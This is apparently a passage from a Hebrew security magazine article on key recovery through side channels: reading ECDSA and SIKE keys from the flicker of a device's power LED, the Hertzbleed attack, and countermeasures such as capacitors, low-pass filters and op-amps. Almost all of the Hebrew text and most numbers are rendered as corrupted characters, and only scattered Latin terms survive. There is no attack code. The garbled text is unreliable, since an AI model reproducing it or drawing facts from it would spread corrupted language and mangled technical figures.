ˡ˰ˣˮ˷ ˶˲˷˪ ˫˧˰ˣ˴˧˟ ˶˴ˣ˧ ˢ˷˰ˬ˪ ˥˸˲ ˢ˲˧˵˸˪ ˢ˪ˣ˪˰˷ ˱ˣ˷˥˪ ˸˞ ˥˸˲ˬˢ ˧˦˶˲ˢΦ  

˧ˣˢ˧ˤ ˸ˣ˪ˣ˰˲ ECDSA ˶˲˯ˬˬ ˧˞˶ˣ˵ ˫˧˯˧˦˶˩ ˫˧ˬ˩˥  

˫˶˵˥ˬ˟ Σ˫˧˶˵ˣ˥ˢ ˣˮ˥˟ ˢˮˣˬ˷ ˧˞˶ˣ˵ ˫˧˯˧˦˶˩ ˫˧ˬ˩˥ ˫˧˧˶˥˯ˬ ˣ˷˩˶ˮ˷ ˸ˣ˰˴ˬ˞˟ ˶˸˞ Amazon Φ˪˩ 

˫˧˞˶ˣ˵ˢ ˣ˪˪ˢ ˣ˧ˢ ˫˧ˡ˧ˣ˴ˬ ˸˧˶ˣˮ˟ ˧ˣˣ˧˥ ˠˣ˯ˢˬ ˧ˮ˷ˢ Σ˶ˬˣ˪˩ ˸˧˶ˣˮ ˢˮ˧˞˷ ˸˶˟ˣ˥ˬ ˸ˣ˶˧˷˧ ˪ˠ˰ˬ˪ ˧˪ˬ˷˥ˢ 

˧˷˞˶ˢ Φ˫˧˶˵ˣ˥ˢ ˣ˪˧ˠ ˧˩ ˸ˣ˧˶ˣˮ ˧ˣˣ˧˥ˢ ˪˩˟ ˸ˮˣˬ˷ ˫˧˶˧˷˩ˬˢ ˸ˣ˲˧˪ˡˬ ˰ˡ˧ˬ ˞˪ ˭ˣˣ˩ˬ Φˢ˲˧˪ˡˢ ˢ˞˦˟˸ˢ 

˫˧˧ˣˮ˧˷˟ ˰˟˴˟ ˸˧˶ˣˮˢ Σ˶˷˞ ˢ˟˧ˠˢ ˸ˣ˪ˣ˰˲˪ ˸ˣˮˣ˷ ˣ˰˴ˣ˟˷ ˪˰ ˧ˡ˧ ˟˷˥ˬˢ ˡ˧˧ˮˢ ˶˟ˣ˥ˬˢ ˞˶ˣ˵˪ 

˫˧˯˧˦˶˩ˢ Φ˭˲ˣ˞˟ ˧˲˧˴˲˯ Σ˫˧˶˵ˣ˥ˢ ˣ˥˧˪˴ˢ ˸ˣˢˤ˪ ˫˧˧ˣˮ˧˷ ˸˧˶ˣˮ˟ ˣ˷˥˶˸ˢ˷ ˢ˟ˣˠ˸˟ ˭ˬˤ˪ ˰ˣ˴˧˟ˢ ˪˷ 

˸ˬ˧˸˥ ECDSA Φ˞˴ˬˬ ˢˤ ˫˧ˠˡˬ ˡ˴˧˩ ˣ˪˧˲˞ ˫˧˟˧˩˶ ˫˧˞˶ˮ˷ ˫˧ˬ˧ˬ˸ Σˣˬ˩ ˸˧˶ˣˮ ˧ˣˣ˧˥ Σ˫˧˪ˣ˪˰ ˷ˬ˷˪ ˳ˣ˶˰˩ 

˧ˡˡ˴ ˸˲˧˪ˡ˪ ˰ˡ˧ˬ ˷˧ˠ˶ ˪˰ ˸ˣ˪ˣ˰˲ ˸ˣ˧˲˶ˠˣ˦˲˧˶˵Φ 

ˣ˰˴ˣ˟ ˢ˷˧ˬ˥ ˫˧˧ˣ˯˧ˮ Σ˫ˢ˟ ˫˧˯˧˦˶˩ˢ ˫˧ˬ˩˥ˢ ˫˧˶˟ˣ˥ˬ ˟˷˥ˬ˪ ˡ˧˧ˮ ˨˶ˡ ˪˟˩ USB Σ˨˶ˡˣ ˢ˲˵˷ˢ 

ˢˬ˪˴ˬˬ ˸˪˰˟ ˢ˧˴ˣ˪ˣˤ˶ ˪˷ рMP Σ˫ˣˤˣ ˧˦˲ˣ˞ ˪˷  нрX Φ˵˥˶ˬˬ ˪˷ ˫˧˶˷˰˩ ˫˧˶˦ˬ˧˦ˮ˯ ˸˧˶ˣˮˬ ˞˶ˣ˵ˢ 

˫˩˥ˢ Σˣˬ˪ˣ˴ ˫˧˯˧˦˶˩ˢ ˫˧ˬ˩˥ˢ ˫˧˰˴˟ˬ ˷˷˩ ˸ˣ˪ˣ˰˲ ˸ˬ˧˸˥ ECDSA ύ˫˧˥ˣˣ˶ˬ ˧˥ˣˣ˶ˬ˟ ˭ˬˤ ˪˷ нллms Φό

˫˧˶˵ˣ˥ˢ ˣ˞˶ˢ ˧˩ ˶ˣ˟˰ ˪˩ ˸ˣ˞ ύ˶˴ˣˮ˷ ˪˰ ˧ˡ˧ ˫ˣ˪˧˴ ˣ˞ˡ˧ˣ ˫˧˞˸ˬ Σό˭˸˧ˮ ˢ˧ˢ ˸ˣ˞˶˪ ˸˞ ˪˩ ˸˷˷ ˸ˣ˪ˣ˰˲ sπ 

ECDSAΦ 

˶ˣˤ˥˷ ˸ˣ˥˸˲ˬ ECDSA ˵˥˶ˬˬ ˪˷ ˢ˷˧˷˩ ˶˷˰ ˫˧˶˦ˬ  

˭˲ˣ˞˟ ˢˬˣˡ ˧ˣ˯˧ˮ˪ ˫ˡˣ˵ˢ Σ˫˰˲ˢ ˵˥˶ˬˬ ˪˷ ˢ˷˧˷˩ ˶˷˰ ˫˧˶˦ˬ Φ˫˧˶˵ˣ˥ˢ ˣˡ˵˧ˬ ˸˞ ˢˬ˪˴ˬˢ ˨˩ 

˸˧˶ˣˮ˷ sπLED ˸˞˪ˬˬ ˸˞ ˪˩ ˟˥˶ˬ ˫ˣ˪˧˴ˢ Φ˫˰˲ˢ Σˢ˟˧˟˯˟ ˢ˩ˣ˷˥ Σˣ˦˪˵ˣˢ ˩πмлΣрлл ˸ˣ˪ˣ˰˲ ˸ˬ˧˸˥ 

ECDSA ˸ˣˮˣ˷ ˰˴˧˟˷ ˯˧˦˶˩ˢ ˫˩˥ˢ ύ˫˧˥ˣˣ˶ˬ ˧˥ˣˣ˶ˬ˟ ˭ˬˤ ˪˷ нллms Φό˭ˬˤ ˢ˦˪˵ˢˢ ˪˷ ˪˩ млΣрлл 

˸ˣ˪ˣ˰˲ˢ ˨˶˞ ˩πср ˸ˣ˵ˡ Σ˵˪ˣ˥ˬˣ ˩˪πор ˸ˣ˦˪˵ˢ ˣ˞ˡ˧ˣ ˸ˣˮˣ˷ ύ˪˩ ˢ˦˪˵ˢ ˢ˩˶˞ ˢ˵ˡ˩ ˫˧˷˧ˬ˥ˣ ˸ˣ˧ˮ˷ Σό

˸ˣ˪˧˩ˬˢ ˩πолл ˸ˣ˪ˣ˰˲ ˸ˬ˧˸˥ ECDSAΦ 

 
ϐ˶ˣ˧˞ 6ώ 

˸˰˩ Σ˰˴ˣ˟ ˪˩˪ ˫˧˧˶˲ ˢ˧˴˵ˮˣ˲ ˢ˰˧˟˵˪ ˫˞ˢ ˫˧˧˶˲ˢ ˨˧ˣ˷ˬ ˟˴ˬ˪ x˟ ˯˧˦˶˩ˢ ˫˩˥ˢ ˰˴˧˟ ˸˪ˣ˰˲ ˸ˬ˧˸˥ 

ECDSA Σˣ˞ ˟˴ˬ˪ x˟ ˯˧˦˶˩ˢ ˢ˧ˢ ˢˮ˸ˬˢ˟ ύidle Φό˫˧˶˵ˣ˥ˢ ˣ˥˧˪˴ˢ ˸ˣˢˤ˪ млΣрлл ˸ˣ˪ˣ˰˲ ECDSA ˸ˣ˟˵ˣ˰ Σ
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˸ˣ˥ˣˣ˶ˬˢ ˭ˢ˧ˮ˟ ˸ˣ˪ˣ˰˲˟ ˢˮ˸ˬˢ Φˣˬ˩ ˭˩ Σ˫ˢ ˣ˲˧ˬ ˸˞ ˫˧ˬ˧˧˶˲ˢ ˪˞ ˢ˪ˣ˰˲ˢ ˸˯˥ˣ˧ˬˢ ˫ˢ˪ Φ˶˥˞˪ ˭˩ˬ Σ

˪˩ ˢˬ˧˸˥ ˢˠˣˣ˯ ˸˥˞˪ ˭˧˟ˬ ˧˸˷ ˸ˣ˵˪˥ˬ ύˣ˪˞ ˭˸˧ˮ ˸ˣ˞˶˪ ˶ˣ˧˞˟ сΥ 

¶ ˢ˵˪˥ˬ ˢˮˣ˷˞˶ π ˸˶ˡ˯ ˫˧ˬ˧˧˶˲ ˪˷ ˸˪ˣ˰˲ ˸ˬ˧˸˥ ECDSA Σˣ˪˧˥˸ˢ˷ ˣˬ˧˧˸˯ˢˣ ˭ˬˤ˟ ˢ˵˧˶˯ˢ Φ˭˸˧ˮ 

˸ˣˢˤ˪ ˸ˣ˪ˣ˰˲ ˣ˪˞ ˪˰ ˨ˬ˯ ˸˲˪˥ˢˢ ˰˟˴ ˸˧˶ˣˮˢ ˪ˣ˥˩ˬ ˶ˣ˥˷ˣΦ 

¶ ˢ˵˪˥ˬ ˢ˧˧ˮ˷ π ˸˶ˡ˯ ˫˧ˬ˧˧˶˲ ˪˷ ˸˪ˣ˰˲ ˸ˬ˧˸˥ ECDSA Σˣ˪˧˥˸ˢ˷ x˞ ˣˬ˧˧˸˯ˢ ˭ˬˤ˟ ˢ˵˧˶˯ˢ Φ˭˸˧ˮ 

˸ˣˢˤ˪ ˸ˣ˪ˣ˰˲ ˣ˪˞ ˪˰ ˧ˡ˧ ˰˟˴ ˶ˣ˥˷ ˞˪ˬ ˸˪˧˥˸˟ x˞ ˫ˣ˧˯˟ ˢ˶ˡ˯ˢΦ 

˨˪ˢˬ˟ ˶˵˥ˬˢ Σ˫˧˶˵ˣ˥ˢ ˣ˪˵˸ˮ ˶ˠ˸˞˟ ˧˸ˣ˰ˬ˷ˬ Φ˫ˢ ˣ˪˧ˠ ˞˪˷ ˭˸˧ˮ ˟˷˥˪ ˵˧ˣˡˬ˟ ˸˞ ˸˪ˣ˰˲ ˸ˬ˧˸˥ 

ECDSA ˶ˣ˟˰ ˵˪˥ ˫˧˶˵ˬˢˬ π ˣ˪˞ ˣ˪˧˥˸ˢ˷ x˞ ˣˬ˧˧˸˯ˢ ˵ˣ˧ˡ˟ ˭ˬˤ˟ ˢ˵˧˶˯ˢ ˪˷ ˢˬ˪˴ˬˢ Φ˫˧˶˵ˬ ˣ˪˞ Σ

ˣˠˣˣ˯˷ ˩ϥˢ˵˪˥ˬ ˢ˧˧ˮ˷ˢ Σϥˣ˧ˢ ˫˧˧˸˧˧˰˟ ˭ˣˣ˧˩ˬ ˶˯˥˷ ˫ˢ˟ ˰ˡ˧ˬ ˧ˮˣ˧˥ Φ˭ˣ˧˯˧ˮ ˪ˣ˪˩˪ ˫˧˶˵ˬ ˣ˪˞ ˥ˣ˸˧ˮ˟ ˢ˧ˢ 

˪˧˟ˣˬ ˸˯ˮ˩ˢ˪ ˸ˣ˞˧ˠ˷ ˨˧˪ˢ˸˪ ˟ˣ˷˧˥ˢ Φ˭ˣˣ˧˩ˬ ˨˧˪ˢ˸˷ ˸˧˧˴˵ˣˡ˶ ˠ˧˶˯ˢ Σ˞ˣˢ˷ ˧ˮˣ˧˥ ˥ˣˮ˰˲˪ Σ˷˧ˠ˶ ˡˣ˞ˬ 

˸ˣ˞˧ˠ˷˪ Σ˫˧˶˵ˣ˥ˢ ˣ˦˧˪˥ˢ ˦ˣ˵ˮ˪ ˢ˷˧ˠ˟ ˢ˶˧ˢˤ Φ˫ˢ ˣ˶˥˟ ˶˧˯ˢ˪ ˭˧˦ˣ˪˥˪ ˥ˣ˸˧ˮˢˬ ˸˞ ˪˩ нΣстп 

˸ˣˬ˧˸˥ˢ ˣˠˣˣ˯˷ ˢ˵˪˥ˬ˪ ˢ˧˧ˮ˷ˢ Φˢ˦˪˥ˢ xʕ ˢˡ˰ˣˮ ˥˧˦˟ˢ˪ ˸˞ ˵ˣ˧ˡ ˸ˣ˞˴ˣ˸ˢ ˸ˣˮ˧ˬ˞ˣ ˶˵˥ˬˢΦ 

˸˩˶˰ˢ ˭ˬˤ ˸ˬ˧˸˥ ECDSA ˧˲˪ ˸˶ˡ˯ ˫˧ˬ˧˧˶˲ˢ  

˫˧˶˵ˣ˥ˢ ˫˧˶˞˸ˬ ˡ˴˧˩ ˣ˥˧˪˴ˢ ˟˷˥˪ ˸˞ ˭ˬˤ ˶˟˰ˬˢ ύT ό˭ˬˤˣ ˢ˵˧˶˯ˢ ύS Σόˤ˞ˣ ˟˷˥˪ ˸˞ ˭ˬˤ ˸˴˧˶ ˪˩ 

˸˶ˡ˯ ˫˧ˬ˧˧˶˲ ˶ˣ˟˰ ˶˸˧ тунс ˸ˣˬ˧˸˥ˢ ˢ˵˪˥ˬˢˬ ˢˮˣ˷˞˶ˢΦ 

˱ˣ˯˟˪ Σˣ˥˧˪˴ˢ ˫˧˶˵ˣ˥ˢ ˰ˣ˟˵˪ ˸˞ ˭ˬˤ ˸ˬ˧˸˥ ˪˩ ˸˥˞ ˬπтунс ˸ˣˬ˧˸˥ sπ ECDSA ˣˠˣˣ˯˷ ˢ˵˪˥ˬ˪ 

ˢˮˣ˷˞˶ˢ Σˢ˧˪˰ˣ ˰˴˟˪ ˸˞ ˸˲˵˸ˢ ˢˣˣ˶ˮ˧ˬ Φ˨˩ ˣ˥˧˪˴ˢ ˶ˤ˥˷˪ ˸˞ ˥˸˲ˬ ECDSA ˧˦˶˲ˢ ˨˶ˣ˞˟ ˩πнрс 

˸ˣ˧˟˧˯ Σ˵˶˲˟ ˭ˬˤ ˪˷ ˧˸˷ ˸ˣ˵ˡ ˡ˟˪˟Φ 

˸˲ˬ ˫ˣ˥ ˸ˠ˴˧˧ˬˢ ˸˞ ˭ˬˤˢ ˶˰ˣ˷ˬˢ ˟ˣ˷˧˥˪ тунс ˸ˣ˪ˣ˰˲ ECDSA Σˢ˧˴˵ˮˣ˲˩ ˪˷ ˶˲˯ˬ sπлπ˫˧ ˫˧˪˧˟ˣˬˢΥ 

 
  



 
 

    
www.DigitalWhisper.co.il 

˭ˣ˧˪ˠ 171, ˳˶ˬ нлнр  мол 
 

 ˸ˣ˥˸˲ˬ ˳ˣ˪˧˥SIKE 

˫˸˧˶ˣˠ˪˞ SIKE  

ˣˬ˷˟ ˞˪ˬˢ ΣSupersingular isogeny Diffie-Hellman key exchange Σ˞ˣˢ ˫˸˧˶ˣˠ˪˞ ˦˯ˣ˲π˧˦ˮˣˣ˵ ˞˪ 

˥ˣ˦˟ ύ˥˩ˣˢ ˧˩ ˣˮ˧˞ ˥ˣ˦˟ ˸ˮ˷˟ нлнн Φό˫˸˧˶ˣˠ˪˞ ˢˤ ˶˷˲˞ˬ ˧ˮ˷˪ ˫˧˲˸˸˷ˬ ˞˪˷ ˣ˷ˠ˲ˮ ˫˪ˣ˰ˬ Σ˫ˮ˧˞ˣ 

˫˧˵˪ˣ˥ ˫ˢ˧ˮ˧˟ ˥˸˲ˬ ˧ˡˣ˯ ˱˸ˣ˷ˬ ˣˢ˷˪˩ ˷˞˶ˬ Σ˶˧˟˰ˢ˪ ˡ˥˞ ˧ˮ˷˪ ˪˰ˬ ˧˟ˠ ˳ˣ˶˰ ˥ˣ˸˲ ˥˸˲ˬ ˧˦˶˲ Σ

˭˲ˣ˞˟ ˢˬˣˡ ˪ˣ˵ˣ˦ˣ˶˲˪ ˸˲˪˥ˢ ˸ˣ˥˸˲ˬˢ ˪˷ ˧˲˧ˡπ˭ˬ˪ˢ ύDiffie-Hellman key exchangeΦό 

˫˸˧˶ˣˠ˪˞ ˢˤ ˯˯ˣ˟ˬ ˪˰ Ϧ˸ˣ˩˧˪ˢύ Ϧwalks ό˱˶ˠ˟ ˧ˮˠˣˤ˧˞ ˶˲ˣ˯ ˧˶˞˪ˣˠˮ˧˯[4] Σ˟˴ˣ˰ˣ ˨˩ ˪˩ˣ˧˷ ˡˣˬ˰˪ ˧ˮ˲˟ 

˸ˣ˲˵˸ˢ ˸ˣ˧˦˧˪ˮ˞˦˲˧˶˵ ˡ˴ˬ ˟˧˶˧ ˫˰ ˟˷˥ˬ ˧˦ˮˣˣ˵ Φ˧ˮ˲˪ ˳˶˲ˮ˷[5] ˧˪ˣ˧˟ нлнн Σˢ˧ˢ ˟˷˥ˮ ˫˸˧˶ˣˠ˪˞ˢ 

˪˰˟˪ ˨˶ˣ˞ ˸ˣ˥˸˲ˬˢ ˫˧ˮ˦˵ˢ ˶˸ˣ˧˟ ˪˩ˬ ˧˪ˣ˵ˣ˦ˣ˶˲ ˸˲˪˥ˢ ˸ˣ˥˸˲ˬˢ ˦˯ˣ˲ˢπ˫˧˦ˮˣˣ˵ Φ˨˶ˣ˞ ˥˸˲ˬˢ 

ˢ˧ˢ ˩πнсуу ˸ˣ˧˟˧˯ Σ˸ˬ˶˟ ˢ˥˦˟˞ ˪˷ мну ˸ˣ˧˟˧˯ ˡˠˮ˩ ˸ˣ˲˵˸ˢ ˸ˣ˧˦ˮˣˣ˵Φ 

˶ˬ˞ˬ˟ ˶˞ˣ˸ˬ ˳ˣ˪˧˥ ˥˸˲ˬ sπSIKE ˧˦˶˲ˢύ Σ˷ˣˬ˧ˬ ˪˷ SIKE-751 ό˨˶ˣ˞˟ оту ˸ˣ˧˟˧˯ Φ˳ˣ˪˧˥ ˥˸˲ˬˢ 

˰˴˟˸ˢ ˸ˣ˰˴ˬ˞˟ ˢ˧˧˶˲˯ˢ ˸˧˲˶ˠˣ˦˲˧˶˵ˢ PQCrypto-SIDH Σ˪˰ ˧ˡ˧ ˷ˣˬ˧˷ ˸˲˵˸ˢ˟ ˡ˧˪˟˴˶ˢ[6] 

(Hertzbleed Σόˡˠˮ ˶˧˷˩ˬ Samsung Galaxy Sу Φ˳ˣ˪˧˥ ˥˸˲ˬ ˢˤ ˫ˠˡˣˢ ˸ˣ˰˴ˬ˞˟ ˢˤ˧˪ˮ˞ˣ˦˲˧˶˵ ˸˯˯ˣ˟ˬ 

ˣ˞ˡ˧ˣ Σ˶ˣ˟˰ ˸˦˪˵ˢ ˸˧˶ˣˮ sπLED ˪˷ ˧˪ˣ˵ˬ˶ USB Σ˫˧˶˟ˣ˥ˬˢ ˸ˤ˩˶˪ USB Σˢ˧˪˞ ˶˟ˣ˥ˬ ˫ˠ ˶˧˷˩ˬ ˢ˶˦ˬˢ 

˸ˬ˪˴ˬˬ ˣ˞ˡ˧ˣ ˪˷ iPhone 13 Pro MaxΦ 

˸˲˵˸ˢ Hertzbleed  

˷ˣˬ˧ˬ ˫˸˧˶ˣˠ˪˞ SIKE ˪˰ ˧ˡ˧ ˸˧˧˶˲˯ PQCrypto-SIDH Σ˸˲˵˷ˬ ˰ˡ˧ˬ ˰ˠˣˮ˟ ˸ˣ˧˟˧˯˪ ˥˸˲ˬˢ Σ˟˵˰ ˭ˣˮˠˮˬ 

πsDVFS ˪˷ ˪˦ˮ˧˞ ύdynamic voltage and frequency scaling Φό˭ˣˮˠˮˬ ˢˤ ˶˷˲˞ˬ ˱˵ˣ˸˪ ˸ˣˢˤ˪ ˸ˣˠ˧˶˥ 

˸ˣ˶˧ˡ˸˟ ˡ˟˰ˬˢ Σ˸ˣ˰˴ˬ˞˟ ˸˯ˬ˰ˢ ˶˸˧ ˪˰ ˡ˟˰ˬˢ Σ˧ˡ˩ ˶ˣ˴˧˪ ˫˧˧ˣˮ˧˷ ˶ˡ˸˟ ˡ˟˰ˬˢ ˫˰ ˶˲˯ˬ ˟˶ ˪˷ 

˫˧˟ˣ˷˧˥ ˪˧˟˵ˬ˟ Φˢ˪ˣ˰˲ xʕ ˸˶˴ˣ˧ ˫˧˪ˡ˟ˢ ˧ˮˬˤ˟ ˢ˴˧˶ˢ ˫˞˸ˢ˟ ˫˧ˮˣ˸ˮ˪ ˫˧ˡ˟ˣ˰ˬˢ Σ˫˧˪ˡ˟ˢˣ ˢ˪˞ Σ˫˧˪ˣ˩˧ 

˸ˣ˧ˢ˪ ˫˧˶˟ˠˣˬ ˸ˬ˶˪ ˢˮ˥˟ˢ ˪˷ ˸ˣ˧ˮ˷˧˪˧ˬ Φˢ˲˵˸ˢ xʕ ˸˪˰˲ˣˬ ˪˰ ˸ˮˬ ˳˪˥˪ ˸˞ ˥˸˲ˬˢ ˧˦˶˲ˢ ˪˰ ˧ˡ˧ 

˸˩˶˰ˢ ˭ˬˤ ˢ˴˧˶ˢ ˪˷ ˶˲˯ˬ ˸ˣ˪ˣ˰˲ ˧lπˢ˧˴˪ˣ˯˲˵ˮ˧˞ ύdecapsulation ό˪˷ SIKE Φ˸˶˸˧ ˶ˣ˞˧˸ ˭ˣˮˠˮˬˢ 

˦˶ˣ˲ˬ ˶ˬ˞ˬ˟ ˞˪ˣ ˞˟ˣ˧ ˭˞˩ ˦˶˲ˬ ˸ˣ˟˩˶ˣˬ ˸˧˟ˣ˷˧˥ ˫˧˪˩ˣ ˫˧˧˦ˬ˸ˬ ˫˧ˬˡ˵˸ˬΦ 
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 ˣ˞ˡ˧ˣ ˸˯˯ˣ˟ˬ ˢˤ˧˪ˮ˞ˣ˦˲˧˶˵ ˡˠˮ ˧˰˴ˬ˞ 

˸˰˧ˮˬ ˸˪ˣ˩˧ ˳ˣ˪˧˥ ˸ˣ˥˸˲ˬ ˸ˣ˰˴ˬ˞˟ ˢˤ˧˪ˮ˞ˣ˦˲˧˶˵ ˸˯˯ˣ˟ˬ ˣ˞ˡ˧ˣ 

 ˸˰˧ˮˬ ˸˪ˣ˩˧ˢ ˣˤˢ ˢ˧ˣ˴˶ ˶ˣ˞˪ ˫˸˧˪ˠ˸ ˪˷ ˫˧˶˵ˣ˥ˢ Σ˸ˣ˪˵ˢˣ ˸˧˯˥˧ˢ ˭˸˧ˮ˷ ˳˪˥˪ ˸ˣ˥˸˲ˬ ˫˧˲˶ˠˣ˦˲˧˶˵ 

˫˧˧˦˶˲ ˷ˣˬ˧˷˟ ˭ˣ˧˰˶˟ ˢˤ Φ˫˧˶˵ˣ˥ˢ ˫˧ˮ˧˧˴ˬ ˧˩ ˨˶ˡˢ ˢ˟ˣ˦ˢ ˶˸ˣ˧ ˸˰˧ˮˬ˪ ˸ˣ˪ˣ˩˧ˢ ˣˤˢ ˪˰ ˧ˡ˧ ˱˵ˣ˸ 

˧˶˷˲˞ Σ˞˧ˢ ˭˟ˣˬ˩ ˞ˡˣˣ˪ ˧˩ ˸ˣ˧˶˲˯ˢ ˸ˣ˧˲˶ˠˣ˦˲˧˶˵ˢ ˭ˢ˟ ˷ˬ˸˷ˬ ˶˧˷˩ˬˢ ˪˰ ˸ˮˬ ˰˴˟˪ ˫˧˟ˣ˷˧˥ 

˸ˣ˪ˣ˰˲ˣ ˸ˣ˧˲˶ˠˣ˦˲˧˶˵ Σ˭ˮ˧˞ ˸ˣ˲˵˷ˬ x˞ ˸ˣ˰˧˲˷ˬ ˢ˶ˣ˴˟ ˧˸˪˟ ˢ˧ˣ˴˶ ˪˰ ˫˧ˬ˶ˣˠ ˭˸˧ˮ˷ ˸ˣˢˤ˪ ˶˦ˮ˪ˣ 

˫˸ˣ˞ Φ˦˶˲˟ Σˢ˰˲˷ˢ ˪˰ ˧˟˧˩˶ ˢ˶ˬˣ˥ ˭˸˧ˮ˷ ˰˴˟˪ ˢˤ˧˪ˮ˞ˣ˦˲˧˶˵ ˸˯˯ˣ˟ˬ ˣ˞ˡ˧ˣ ˪˰ ˧ˡ˧ ˫ˬˣ˪˧˴ Φˢ˶˸˧ ˪˰ 

˨˩ Σ˸ˣ˞˟ˣˬ ˸ˣ˞ˬˠˣˡ ˸ˣ˪ˣ˰˲˪ ˫˧˪ˣ˩˧˷ ˫˧ˮ˶˴˧ˢ ˫˧˷ˬ˸˷ˬˢˣ ˰˴˟˪ ˫ˬ˴˰˟ Σ˧ˡ˩˟ ˶˧˯ˢ˪ ˸˞ ˸ˣ˰˧ˠ˲ˢ 

˸˶˟ˣˡˬˢΦ 

˸˰˧ˮˬ ˢˤ˧˪ˮ˞ˣ˦˲˧˶˵ ˸˯˯ˣ˟ˬ ˣ˞ˡ˧ˣ ˡ˴ˬ ˭˶˴˧ˢ 

˫˧˶˵ˣ˥ˢ ˫˧˰˧˴ˬ ˫˧ˮ˶˴˧˪ ˰ˮˬˢ˪ ˪˪˩ ˷ˣˬ˧˷ˬ ˸ˣ˧˶ˣˮ˟ ˠˣ˯ˢˬ ˧ˮ˷ˢ ˫˧˶˧˷˩ˬ˟ ˫ˢ˷ ˫˧˶˴˧˧ˬ Σ˸˞ˤ ˧ˮ˲ˬ 

˭˸ˣ˷˧ˠ˶ ˢ˪ˣˡˠˢ ˸ˣ˪ˣ˰˲˪ ˸ˣ˧˲˶ˠˣ˦˲˧˶˵ˢ Φˢ˷˰ˬ˪ Σ˸ˬ˶ ˸ˣ˴˧˶˲ˢ ˭ˢ˪˷ ˢˢˣ˟ˠ Σ˸˶˷˲˞ˬˣ ˢˤ˧˪ˮ˞ˣ˦˲˧˶˵ 

˸˯˯ˣ˟ˬ ˣ˞ˡ˧ˣ ˵˥˶ˬˬ ˧˞ˮ˸˟ˣ ˢ˶ˣ˞˸ ˫˧ˮˣ˷Φ 

˶ˣ˟˰ ˸ˣ˧˶ˣˮ ˠˣ˯ˢ ˭ˣ˷˞˶ˢ Σ˨˶ˡ˟˷ ˪˪˩ ˸ˣ˶˟ˣ˥ˬ ˸ˣ˶˧˷˧ ˫˸ˣ˞˪ ˧ˣˣ˵ ˥˸ˬˢ ˪˷ ˪ˠ˰ˬˢ ˧˪ˬ˷˥ˢ ˧˞˶˥˞ˢ 

˪˰ ˡˣ˟˧˰ˢ ˪˰ˣ ˰ˣ˴˧˟ ˸ˣ˪ˣ˰˲ˢ ˸ˣ˧˲˶ˠˣ˦˲˧˶˵ˢ ύ˶ˣ˧˞ уa Σό˳˪ˬˣˬ ˷ˣˬ˧˷ˢ ˪˟˵˟ ύcapacitor Φό˸˞ˤ ˪˰ ˸ˮˬ 

˷ˬ˷˧˷ ˭ˮ˯ˬ˩ ˫˧˶ˡ˸ ύlow-pass filter Σ˶ˣ˧˞ уb Φό˸˲˯ˣˢ ˪˟˵ ˞˧ˢ ˭ˣ˶˸˲ ˸˧˯˥˧ ˪ˣˤ ˸˸˥˲ˢ˪ ˸ˣˡˣˮ˸ˢ 

˸ˣ˞˶ˮˢ ˧˧ˣˮ˧˷˟ ˥˸ˬˢ Φ˫˰ ˸˞ˤ Σ˶ˣ˟˰ ˫˧˶˧˷˩ˬ ˫˧˩˶ˣ˴˷ ˢ˟˶ˢ ˪ˬ˷˥ Σ˷˧ ˨˶ˣ˴ ˪˟˵˟ ˪˰˟ ˸˪ˣ˟˧˵ ˢ˪ˣˡˠ 

˧ˡ˩ ˨ˣˬ˸˪ ˸˩˧˶˴˟ ˥˸ˬˢ ˢˢˣ˟ˠˢ Φ˪˟˵ ˢˤ˩ ˧ˣ˷˰ ˸ˣ˧ˢ˪ ˶˵˧ ˶˸ˣ˧Φ 

˱˯ˣˮ˟ Σ˸˰˴ˣˬ ˸ˣ˶˷˲˞ˢ ˷ˬ˸˷ˢ˪ ˶˟ˠˬ˟π˸˶˷ ύoperational amplifier, OPAMP Σό˞˴ˬ˧˷ ˭˧˟ ˧ˣˣ˵ 

˥˸ˬˢ ˭˧˟˪ˣ ˸˧˶ˣˮ sπLED ύ˶ˣ˧˞ уc Φό˱ˣ˯˟˪ Σˢˮ˷˧ ˸ˣ˶˷˲˞ˢ ˷ˬ˸˷ˢ˪ ˧ˣˣ˵˟ ˸˞˧˴˧ ˸˯˧ˮ˩ˣ ˫˧ˮˣ˸ˮ 

ύgeneral-purpose input/output, GPIO ό˪˷ ˶˵˟ ˢ˦˧˪˷ˢ ˰ˬ˦ˣˬˢ ύ˞˪ ˥˶˩ˢ˟ ˪˩˟ ˶˧˷˩ˬ ˷˧ GPIO 

˫˧˧ˣˮ˲ ˷ˣˬ˧˷˪ Σό˪˰ ˸ˮˬ ˵˲˯˪ ˥˸ˬ ˸˧˶ˣˮ˪ sπLEDΦ 
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